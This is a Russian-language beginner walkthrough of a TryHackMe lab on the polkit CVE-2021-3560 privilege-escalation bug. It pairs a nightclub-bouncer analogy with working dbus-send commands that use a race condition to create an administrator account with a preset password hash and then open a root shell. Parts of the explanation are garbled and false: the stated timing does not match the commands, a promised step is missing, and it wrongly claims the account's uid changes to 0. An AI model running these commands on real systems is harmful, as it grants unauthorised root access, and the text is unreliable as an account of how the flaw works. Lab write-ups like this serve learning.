
дружелюбный к новичкам разбор модуля легкого уровня TryHackMe - polkit:CVE-2021-3560
Сначала проверим версию polkit, чтобы получить более подробную информацию.
apt list --installed | grep policykit-1
policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]
Я использовал deepseek, чтобы создать простую аналогию для лучшего понимания концепции policy kit.
Ночной клуб: Polkit System
Ночной клуб (VIP-зона): Привилегированные системные сервисы/действия (монтирование дисков, установка ПО, управление сетью)
Вышибала у двери: Сам Polkit, перехватывающий все попытки входа
Список гостей / Дресс-код: Правила политик Polkit (хранятся в /usr/share/polkit-1/actions/ и /etc/polkit-1/rules.d/)
VIP-пропуск / Членство в клубе: Нахождение в определенных группах Linux (например, wheel, sudo, storage, network)
Проверка ID: Polkit проверяет личность пользователя и членство в группах
Владелец / Менеджер Root: пользователь (имеет неограниченный доступ ко всему)
Обычные посетители, пытающиеся попасть в VIP-зону: Обычные пользователи/программы, пытающиеся выполнить привилегированные команды
Вышибала сверяется с правилами: Polkit проверяет настроенные политики для данного конкретного действия
Вышибала просит специальный браслет/пароль: Запрос аутентификации (запрос пароля)
Вышибала пропускает кого-то без проверки: Действие разрешено без аутентификации (для доверенных пользователей/групп)
Polkit — это sudo для systemd
Теперь мы можем эксплуатировать этого вышибалу с помощью хитрых запросов, чтобы обойти проверку учетных данных для запросов dbus.
Давайте разберем это, используя ту же аналогию с вышибалой.
Допустим, обычный процесс выглядит так: вышибала проверяет ID, если человек достаточно привилегирован для выполнения данной задачи, то вышибала его пропускает. Но для эксплуатации атакующий отправляет фиктивный запрос секретарю клуба с содержанием «сделай меня менеджером клуба с полным доступом». У нас есть 11 миллисекунд, прежде чем сообщение достигнет секретаря, и, очевидно, он не примет такой запрос. Поэтому мы должны отменить запрос в течение половины времени, необходимого для достижения секретаря, т.е. 0.5 миллисекунды. Затем мы выхватим записку с запросом на повышение привилегий прямо перед тем, как вышибала сможет проверить, кто ее отправил. Мы её выхватываем, и вышибала не может определить, кто это сделал. Теперь записка имеет уникальный номер, который остался без владельца. Уникальный номер существует в системе, но оригинальная записка исчезла. Стандартный протокол поведения в этой ситуации: вышибала предположит, что сообщение было отправлено владельцем клуба, так как инструкция говорит об этом. Происходит примерно следующее: вышибала спрашивает «эй, кто отправил это сообщение #12345?» dbus-daemon заглядывает в свои записи и сообщает: «У меня есть отслеживание #12345 в журнале, но я не могу найти фактическое сообщение... ОШИБКА». Вместо того чтобы сказать, что он не знает, кто отправил это, dbus-daemon возвращает код ошибки. В инструкции вышибалы есть баг. Инструкция гласит: если вы не знаете, кто отправил конкретное сообщение, и при проверке ID возникает ошибка, то считайте, что оно от Владельца клуба (uid 0). Вышибала сообщает секретарю клуба, что это сообщение от владельца клуба, хотя это всего лишь прокси; секретарь одобряет это, а затем секретарь клуба создает новую учетную запись менеджера клуба для атакующего. Теперь атакующий имеет привилегии, равные root-пользователю.
Теперь давайте посмотрим на команды, которые немедленно создадут нам пользователя с именем attacker и паролем Expl01ted. Начнем с команд:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
Эта команда создаст пользователя с именем attacker. Мы выходим через 0.5 миллисекунды, чтобы остановить чтение сообщения вышибалой (polkit). У пользователя attacker пока нет root-учетных данных.
Чтобы дать пользователю attacker столь необходимые root-привилегии, мы используем команду:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
id attacker
Теперь мы видим, что uid пользователя attacker равен 1000.
Здесь мы добавляем uid исходного пользователя attacker, который не имел никаких привилегий. Это гарантирует, что id пользователя attacker изменится с 1000 на 0.
id attacker
Теперь мы видим, что uid пользователя attacker изменился с 1000 на 0, что означает, что мы находимся в группе root-пользователя с наивысшими привилегиями. Отсюда мы можем напрямую выполнять команды от имени root или просто перейти в root-оболочку, как вам удобнее.
sudo su